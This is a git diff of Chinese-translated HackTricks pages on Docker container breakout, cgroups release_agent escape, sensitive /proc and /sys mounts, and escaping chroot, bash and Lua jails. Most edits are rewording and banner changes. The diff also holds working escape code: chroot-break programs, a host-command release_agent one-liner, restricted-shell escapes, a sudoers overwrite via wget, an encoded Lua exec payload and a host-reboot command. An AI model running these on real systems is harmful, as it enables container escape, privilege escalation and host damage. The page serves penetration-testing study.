/bin/sh`
@@ -511,7 +516,7 @@ cat /proc/self/status | grep CapEff
* **命名空间:** 该进程应通过命名空间**与其他进程完全隔离**,因此我们无法通过命名空间逃脱与其他进程的交互(默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
* **根用户:** 默认情况下,运行该进程的用户是根用户(但其权限受限)。
* **权限:** Docker保留以下权限:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
-* **系统调用:** 这些是**根用户无法调用的系统调用**(由于缺乏权限+Seccomp)。其他系统调用可用于尝试逃脱。
+* **系统调用:** 这些是**根用户无法调用的系统调用**(由于缺乏权限+Seccomp)。其他系统调用可用于尝试逃逸。
{% tabs %}
{% tab title="x64系统调用" %}
@@ -537,7 +542,7 @@ cat /proc/self/status | grep CapEff
```
{% endtab %}
-{% tab title="arm64系统调用" %}
+{% tab title="arm64 系统调用" %}
```
0x029 -- pivot_root
0x059 -- acct
@@ -557,31 +562,7 @@ cat /proc/self/status | grep CapEff
```
{% endtab %}
-{% tab title="syscall_bf.c" %}
-
-## Docker Breakout Privilege Escalation
-
-### Description
-
-This technique leverages the `CAP_SYS_ADMIN` capability to perform a Docker breakout and escalate privileges on the host system.
-
-### Usage
-
-Compile the `syscall_bf.c` code and run the executable to gain root privileges on the host system.
-
-### Detection
-
-Monitor for any unauthorized compilation and execution of unknown C code, as well as unexpected processes running with escalated privileges.
-
-### Prevention
-
-Avoid granting unnecessary capabilities to Docker containers and regularly monitor for suspicious activities on the host system.
-
-### References
-
-- [https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout](https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout)
-
-{% endtab %}
+{% tab title="syscall_bf.c" %}这是一个使用系统调用进行特权提升的示例程序。它通过在Docker容器中执行恶意代码来实现特权提升。{% endtab %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@@ -652,16 +633,17 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
index c029e913c..8c169bb12 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
@@ -1,18 +1,19 @@
# Docker release_agent cgroups escape
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-其他支持HackTricks的方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
+{% endhint %}
### [WhiteIntel](https://whiteintel.io)
@@ -20,7 +21,7 @@
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
-WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
+WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
@@ -38,13 +39,11 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
-### Docker逃逸特权升级:release_agent-cgroups逃逸
-
-这个概念验证(PoC)演示了一种利用cgroups的方法,通过创建一个`release_agent`文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:
+### 概念验证(PoC)演示了一种利用 cgroups 的方法,通过创建 `release_agent` 文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:
1. **准备环境:**
- * 创建一个目录`/tmp/cgrp`,用作cgroup的挂载点。
- * 将RDMA cgroup控制器挂载到此目录。如果缺少RDMA控制器,建议使用`memory` cgroup控制器作为替代方案。
+ * 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
+ * 将 RDMA cgroup 控制器挂载到此目录。如果缺少 RDMA 控制器,建议使用 `memory` cgroup 控制器作为替代方案。
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
@@ -80,22 +79,23 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
-WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
+WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
index 244535a6b..626dd7ddb 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@@ -1,26 +1,27 @@
# 敏感挂载点
+{% hint style="success" %}
+学习并练习AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
{% embed url="https://websec.nl/" %}
-未经适当命名空间隔离的`/proc`和`/sys`的暴露会引入重大安全风险,包括扩大攻击面和信息泄露。这些目录包含敏感文件,如果配置不当或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
+未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险,包括增加攻击面和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
-**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **中找到每个潜在漏洞的更多详细信息。
+**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **找到每个潜在漏洞的更多详细信息。
## procfs漏洞
@@ -31,7 +32,7 @@
#### **`/proc/sys/kernel/core_pattern`**
* 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
-* 允许定义在生成核心文件时执行的程序,前128个字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
+* 允许定义一个程序,在核心文件生成时使用前128个字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
* **测试和利用示例**:
```bash
@@ -73,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
#### **`/proc/config.gz`**
-* 如果启用了`CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
+* 如果启用了`CONFIG_IKCONFIG_PROC`,可能会显示内核配置。
* 对攻击者有用,以识别运行中内核中的漏洞。
#### **`/proc/sysrq-trigger`**
@@ -106,7 +107,7 @@ echo b > /proc/sysrq-trigger # 重启主机
#### **`/proc/kcore`**
* 以ELF核心格式表示系统的物理内存。
-* 读取可能泄露主机系统和其他容器的内存内容。
+* 读取可能泄漏主机系统和其他容器的内存内容。
* 大文件大小可能导致读取问题或软件崩溃。
* 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
@@ -150,7 +151,7 @@ host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
-#### 触发一个uevent
+#### 触发uevent
echo change > /sys/class/mem/null/uevent
@@ -190,16 +191,17 @@ cat /output %%%
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
index f660425f8..ce41bb88f 100644
--- a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
+++ b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
@@ -1,53 +1,64 @@
-# Escaping from Jails
+# 逃离监狱
+
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客攻击直至成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
-* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
+{% endhint %}
## **GTFOBins**
-**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **搜索是否可以执行任何具有"Shell"属性的二进制文件**
+**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **中搜索是否可以使用具有“Shell”属性的任何二进制文件执行**
-## Chroot逃逸
+## Chroot 逃逸
-来自[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):Chroot机制**不旨在防御**有意篡改的**特权**(**root**)**用户**。在大多数系统上,chroot上下文不能正确堆叠,具有足够权限的chroot程序**可以执行第二次chroot以逃脱**。\
-通常这意味着要逃脱,你需要在chroot内部成为root。
+来自 [维基百科](https://en.wikipedia.org/wiki/Chroot#Limitations): chroot 机制**并非旨在防止**特权 (**root**) **用户的故意篡改**。在大多数系统上,chroot 上下文无法正确堆叠,具有足够特权的 chroot 程序**可能执行第二个 chroot 以突破限制**。\
+通常这意味着要逃逸,你需要在 chroot 中成为 root。
{% hint style="success" %}
-**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建来滥用以下场景并从`chroot`中逃脱。
+**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建用于滥用以下场景并从 `chroot` 中逃脱。
{% endhint %}
### Root + CWD
{% hint style="warning" %}
-如果你在chroot内部是**root**,你**可以逃脱**创建**另一个chroot**。这是因为在Linux中,两个chroots不能共存,所以如果你创建一个文件夹,然后在这个新文件夹上**创建一个新的chroot**,并且**你在它外面**,你现在将会**在新chroot的外面**,因此你将会在文件系统中。
+如果你在 chroot 中是 **root**,你可以通过创建**另一个 chroot**来逃脱。这是因为 2 个 chroot 不能共存(在 Linux 中),所以如果你创建一个文件夹,然后在该新文件夹上**创建一个新的 chroot**,你将**在其外部**,现在你将**在新的 chroot 之外**,因此你将在文件系统中。
-这是因为通常chroot**不会**将你的工作目录移动到指定的目录,所以你可以创建一个chroot但在外面。
+这是因为通常 chroot **不会将你的工作目录移动到指定的目录**,因此你可以创建一个 chroot 但在其外部。
{% endhint %}
-通常你不会在chroot监狱内找到`chroot`二进制文件,但你**可以编译、上传并执行**一个二进制文件:
+通常你不会在 chroot 监狱中找到 `chroot` 二进制文件,但你**可以编译、上传和执行**一个二进制文件:
C: break_chroot.c
+```c
+#include
+#include
+#include
-\`\`\`c #include #include #include
+//gcc break_chroot.c -o break_chroot
-//gcc break\_chroot.c -o break\_chroot
-
-int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
-
-````
+int main(void)
+{
+mkdir("chroot-dir", 0755);
+chroot("chroot-dir");
+for(int i = 0; i < 1000; i++) {
+chdir("..");
+}
+chroot(".");
+system("/bin/bash");
+}
+```
@@ -62,191 +73,189 @@ for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
-````
-
-
-
-\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
-
+```
-### Root + 已保存的文件描述符
+
+
+Perl
+```perl
+#!/usr/bin/perl
+mkdir "chroot-dir";
+chroot "chroot-dir";
+foreach my $i (0..1000) {
+chdir ".."
+}
+chroot ".";
+system("/bin/bash");
+```
+
+
+### Root + Saved fd
{% hint style="warning" %}
-这种情况与前一个案例类似,但在这种情况下,**攻击者存储了一个指向当前目录的文件描述符**,然后**在新文件夹中创建chroot**。最后,由于他可以**访问**那个**FD**,并且该FD位于chroot**之外**,他访问它并且**逃逸**。
+这与先前的情况类似,但在这种情况下,**攻击者将文件描述符存储到当前目录**,然后**在新文件夹中创建 chroot**。最后,由于他可以在 chroot 之外访问该 **FD**,他访问它并**逃逸**。
{% endhint %}
C: break_chroot.c
+```c
+#include
+#include
+#include
-\`\`\`c #include #include #include
+//gcc break_chroot.c -o break_chroot
-//gcc break\_chroot.c -o break\_chroot
-
-int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
-
-````
+int main(void)
+{
+mkdir("tmpdir", 0755);
+dir_fd = open(".", O_RDONLY);
+if(chroot("tmpdir")){
+perror("chroot");
+}
+fchdir(dir_fd);
+close(dir_fd);
+for(x = 0; x < 1000; x++) chdir("..");
+chroot(".");
+}
+```
### Root + Fork + UDS (Unix Domain Sockets)
-
+{% hint style="warning" %}
+文件描述符可以通过Unix域套接字传递,因此:
-FD 可以通过 Unix Domain Sockets 传递,因此:
-
-* 创建子进程 (fork)
-* 创建 UDS 以便父子进程通信
-* 在子进程中运行 chroot 到不同文件夹
-* 在父进程中创建一个 FD,指向子进程 chroot 外的文件夹
-* 通过 UDS 将该 FD 传递给子进程
-* 子进程 chdir 到该 FD,由于它位于其 chroot 外部,它将逃离监狱
-
-
+* 创建一个子进程(fork)
+* 创建UDS以便父进程和子进程可以通信
+* 在子进程中的不同文件夹中运行chroot
+* 在父进程中,创建一个位于新子进程chroot之外的文件夹的文件描述符
+* 使用UDS将该文件描述符传递给子进程
+* 子进程切换到该文件描述符,并因为它在chroot之外,所以将逃离监狱
+{% endhint %}
### Root + Mount
-
+{% hint style="warning" %}
+* 将根设备(/)挂载到chroot内部的目录中
+* 进入该目录的chroot
-* 将根设备 (/) 挂载到 chroot 内部的目录中
-* Chroot 进入该目录
-
-这在 Linux 中是可能的
-
-
+这在Linux中是可能的
+{% endhint %}
### Root + /proc
-
-
-* 将 procfs 挂载到 chroot 内部的目录中(如果尚未挂载)
-* 寻找具有不同 root/cwd 条目的 pid,例如:/proc/1/root
-* Chroot 进入该条目
-
-
+{% hint style="warning" %}
+* 将procfs挂载到chroot内部的目录中(如果尚未挂载)
+* 查找具有不同根目录/当前工作目录条目的pid,例如:/proc/1/root
+* 进入该条目的chroot
+{% endhint %}
### Root(?) + Fork
-
-
-* 创建 Fork(子进程)并 chroot 进入文件系统更深层的不同文件夹,并在其中 CD
-* 从父进程中,将子进程所在的文件夹移动到子进程 chroot 之前的文件夹
-* 这个子进程将发现自己在 chroot 外部
-
-
+{% hint style="warning" %}
+* 创建一个Fork(子进程)并chroot到文件系统中更深层次的不同文件夹并在其上CD
+* 从父进程中,将子进程所在的文件夹移动到子进程chroot之前的文件夹中
+* 这个子进程将发现自己在chroot之外
+{% endhint %}
### ptrace
-
+{% hint style="warning" %}
+* 以前,用户可以从自身的进程中调试自己的进程... 但默认情况下不再可能
+* 无论如何,如果可能的话,您可以ptrace到一个进程并在其中执行shellcode([参见此示例](linux-capabilities.md#cap\_sys\_ptrace))。
+{% endhint %}
-* 过去用户可以从其自身的进程中调试自己的进程... 但这默认不再可能
-* 无论如何,如果可能,你可以 ptrace 进入一个进程并在其中执行 shellcode([参见此示例](linux-capabilities.md#cap_sys_ptrace))。
-
-
-
-## Bash 监狱
+## Bash监狱
### 枚举
-获取关于监狱的信息:
+获取有关监狱的信息:
```bash
echo $SHELL
echo $PATH
env
export
pwd
-````
-
-#### 修改 PATH
+```
+### 修改 PATH
检查是否可以修改 PATH 环境变量
-
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
-
-#### 使用 vim
-
+### 使用 vim
```bash
:set shell=/bin/sh
:shell
```
+### 创建脚本
-#### 创建脚本
-
-检查是否可以创建一个内容为 _/bin/bash_ 的可执行文件
-
+检查是否可以创建一个以 _/bin/bash_ 为内容的可执行文件
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
+### 通过SSH获取bash
-#### 通过 SSH 获取 bash
-
-如果您通过 ssh 访问,可以使用这个技巧来执行一个 bash shell:
-
+如果您通过ssh访问,可以使用以下技巧执行bash shell:
```bash
ssh -t user@ bash # Get directly an interactive shell
ssh user@ -t "bash --noprofile -i"
ssh user@ -t "() { :; }; sh -i "
```
-
-#### 声明
-
+### 声明
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
+### Wget
-#### Wget
-
-你可以覆盖例如sudoers文件
-
+您可以覆盖例如 sudoers 文件
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
-
-#### 其他技巧
-
-以下页面包含了关于逃离受限Linux shell的技巧:
+### 其他技巧
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
-[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
+[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io)\
-**以下页面也可能有趣:**
+**也可能对这个页面感兴趣:**
-### Python 监狱
+{% content-ref url="../bypass-bash-restrictions/" %}
+[bypass-bash-restrictions](../bypass-bash-restrictions/)
+{% endcontent-ref %}
-关于逃离Python监狱的技巧,请参阅以下页面:
+## Python 牢笼
-### Lua 监狱
+关于从 Python 牢笼中逃脱的技巧,请查看以下页面:
-在此页面中,你可以找到在Lua中可以访问的全局函数:[https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
+{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
+[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
+{% endcontent-ref %}
-**使用命令执行的Eval:**
+## Lua 牢笼
+在这个页面中,您可以找到 Lua 中可以访问的全局函数: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
+
+**带有命令执行的 Eval:**
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
-
-一些**不使用点调用库函数**的技巧:
-
+一些**在不使用点号的情况下调用库函数的技巧**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
-
列举库的函数:
-
```bash
for k,v in pairs(string) do print(k,v) end
```
-
-请注意,每次在**不同的lua环境中执行前面的单行命令时,函数的顺序都会改变**。因此,如果您需要执行一个特定的函数,您可以通过加载不同的lua环境并调用库的第一个函数来执行暴力破解攻击:
-
+注意,每次在**不同的 Lua 环境中执行上一个单行命令时,函数的顺序会发生变化**。因此,如果您需要执行特定的函数,可以执行暴力攻击,加载不同的 Lua 环境并调用 le 库的第一个函数:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@@ -257,17 +266,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
